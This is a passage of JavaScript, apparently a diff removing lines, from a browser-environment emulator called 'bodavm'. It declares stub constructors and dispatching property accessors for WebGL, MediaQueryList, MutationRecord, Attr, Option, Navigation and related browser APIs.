-bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilMaskSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilMaskSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilMaskSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOp", {configurable:true, enumerable:true, writable:true, value:function stencilOp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "stencilOpSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilOpSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "stencilOpSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texImage2D", {configurable:true, enumerable:true, writable:true, value:function texImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameterf", {configurable:true, enumerable:true, writable:true, value:function texParameterf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameterf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texParameteri", {configurable:true, enumerable:true, writable:true, value:function texParameteri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texParameteri", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "texSubImage2D", {configurable:true, enumerable:true, writable:true, value:function texSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "texSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "useProgram", {configurable:true, enumerable:true, writable:true, value:function useProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "useProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "validateProgram", {configurable:true, enumerable:true, writable:true, value:function validateProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "validateProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindBuffer", {configurable:true, enumerable:true, writable:true, value:function bindBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindFramebuffer", {configurable:true, enumerable:true, writable:true, value:function bindFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindTexture", {configurable:true, enumerable:true, writable:true, value:function bindTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearColor", {configurable:true, enumerable:true, writable:true, value:function clearColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearColor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearDepth", {configurable:true, enumerable:true, writable:true, value:function clearDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearDepth", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearStencil", {configurable:true, enumerable:true, writable:true, value:function clearStencil (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearStencil", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "colorMask", {configurable:true, enumerable:true, writable:true, value:function colorMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "colorMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function disableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disableVertexAttribArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawArrays", {configurable:true, enumerable:true, writable:true, value:function drawArrays (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawArrays", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawElements", {configurable:true, enumerable:true, writable:true, value:function drawElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawElements", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function enableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enableVertexAttribArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "scissor", {configurable:true, enumerable:true, writable:true, value:function scissor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "scissor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1f", {configurable:true, enumerable:true, writable:true, value:function uniform1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1fv", {configurable:true, enumerable:true, writable:true, value:function uniform1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1i", {configurable:true, enumerable:true, writable:true, value:function uniform1i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1iv", {configurable:true, enumerable:true, writable:true, value:function uniform1iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2f", {configurable:true, enumerable:true, writable:true, value:function uniform2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2fv", {configurable:true, enumerable:true, writable:true, value:function uniform2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2i", {configurable:true, enumerable:true, writable:true, value:function uniform2i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2iv", {configurable:true, enumerable:true, writable:true, value:function uniform2iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3f", {configurable:true, enumerable:true, writable:true, value:function uniform3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3fv", {configurable:true, enumerable:true, writable:true, value:function uniform3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3i", {configurable:true, enumerable:true, writable:true, value:function uniform3i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3iv", {configurable:true, enumerable:true, writable:true, value:function uniform3iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4f", {configurable:true, enumerable:true, writable:true, value:function uniform4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4fv", {configurable:true, enumerable:true, writable:true, value:function uniform4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4i", {configurable:true, enumerable:true, writable:true, value:function uniform4i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4iv", {configurable:true, enumerable:true, writable:true, value:function uniform4iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttribPointer", {configurable:true, enumerable:true, writable:true, value:function vertexAttribPointer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttribPointer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "viewport", {configurable:true, enumerable:true, writable:true, value:function viewport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "viewport", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "makeXRCompatible", {configurable:true, enumerable:true, writable:true, value:function makeXRCompatible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "makeXRCompatible", arguments)}},'prototype'); - -// MediaQueryList对象 -bodavm.memory.globalobj['MediaQueryList'] = function MediaQueryList(){if (!(this instanceof MediaQueryList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaQueryList'], "MediaQueryList"); -bodavm.memory.globalobj['MediaQueryList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaQueryList'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaQueryList', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "media_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryList', "matches", {configurable:true, enumerable:true, get:function matches (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "matches_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryList', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryList', "addListener", {configurable:true, enumerable:true, writable:true, value:function addListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "addListener", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaQueryList', "removeListener", {configurable:true, enumerable:true, writable:true, value:function removeListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaQueryList'].prototype, "MediaQueryList", "removeListener", arguments)}},'prototype'); - -// MutationRecord对象 -bodavm.memory.globalobj['MutationRecord'] = function MutationRecord(){if (!(this instanceof MutationRecord)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationRecord'], "MutationRecord"); -bodavm.toolsFunc.defineProperty('MutationRecord', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "addedNodes", {configurable:true, enumerable:true, get:function addedNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "addedNodes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "removedNodes", {configurable:true, enumerable:true, get:function removedNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "removedNodes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "previousSibling", {configurable:true, enumerable:true, get:function previousSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "previousSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "nextSibling", {configurable:true, enumerable:true, get:function nextSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "nextSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "attributeName", {configurable:true, enumerable:true, get:function attributeName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "attributeName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "attributeNamespace", {configurable:true, enumerable:true, get:function attributeNamespace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "attributeNamespace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "oldValue", {configurable:true, enumerable:true, get:function oldValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "oldValue_get", arguments)}, set:undefined},'prototype'); - -// webkitRequestFileSystem对象 -bodavm.memory.globalobj['webkitRequestFileSystem'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('webkitRequestFileSystem', "length", {configurable:true, enumerable:false, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('webkitRequestFileSystem', "name", {configurable:true, enumerable:false, writable:false, value:"webkitRequestFileSystem"}); - -// CSSRuleList对象 -bodavm.memory.globalobj['CSSRuleList'] = function CSSRuleList(){if (!(this instanceof CSSRuleList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRuleList'], "CSSRuleList"); -bodavm.toolsFunc.defineProperty('CSSRuleList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRuleList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRuleList'].prototype, "CSSRuleList", "item", arguments)}},'prototype'); - -// Attr对象 -bodavm.memory.globalobj['Attr'] = function Attr(){if (!(this instanceof Attr)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Attr'], "Attr"); -bodavm.memory.globalobj['Attr'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['Attr'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('Attr', "namespaceURI", {configurable:true, enumerable:true, get:function namespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "namespaceURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "prefix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "localName", {configurable:true, enumerable:true, get:function localName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "localName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "ownerElement", {configurable:true, enumerable:true, get:function ownerElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "ownerElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Attr', "specified", {configurable:true, enumerable:true, get:function specified (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Attr'].prototype, "Attr", "specified_get", arguments)}, set:undefined},'prototype'); - -// Option对象 -bodavm.memory.globalobj['Option'] = function Option(){this._boarg= new bodaobj.window.Option();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Option'], "Option"); -bodavm.memory.globalobj['Option'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.toolsFunc.defineProperty('Option', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "label_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "defaultSelected", {configurable:true, enumerable:true, get:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_get", arguments)}, set:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "defaultSelected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "selected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Option', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Option'].prototype, "Option", "index_get", arguments)}, set:undefined},'prototype'); - -// Navigation对象 -bodavm.memory.globalobj['Navigation'] = function Navigation(){if (!(this instanceof Navigation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigation'], "Navigation"); -bodavm.memory.globalobj['Navigation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Navigation'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Navigation', "currentEntry", {configurable:true, enumerable:true, get:function currentEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "currentEntry_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "transition", {configurable:true, enumerable:true, get:function transition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "transition_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "canGoBack", {configurable:true, enumerable:true, get:function canGoBack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoBack_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "canGoForward", {configurable:true, enumerable:true, get:function canGoForward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoForward_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "onnavigate", {configurable:true, enumerable:true, get:function onnavigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_get", arguments)}, set:function onnavigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "onnavigatesuccess", {configurable:true, enumerable:true, get:function onnavigatesuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_get", arguments)}, set:function onnavigatesuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "onnavigateerror", {configurable:true, enumerable:true, get:function onnavigateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_get", arguments)}, set:function onnavigateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "oncurrententrychange", {configurable:true, enumerable:true, get:function oncurrententrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_get", arguments)}, set:function oncurrententrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_set", arguments)}},'prototype'); 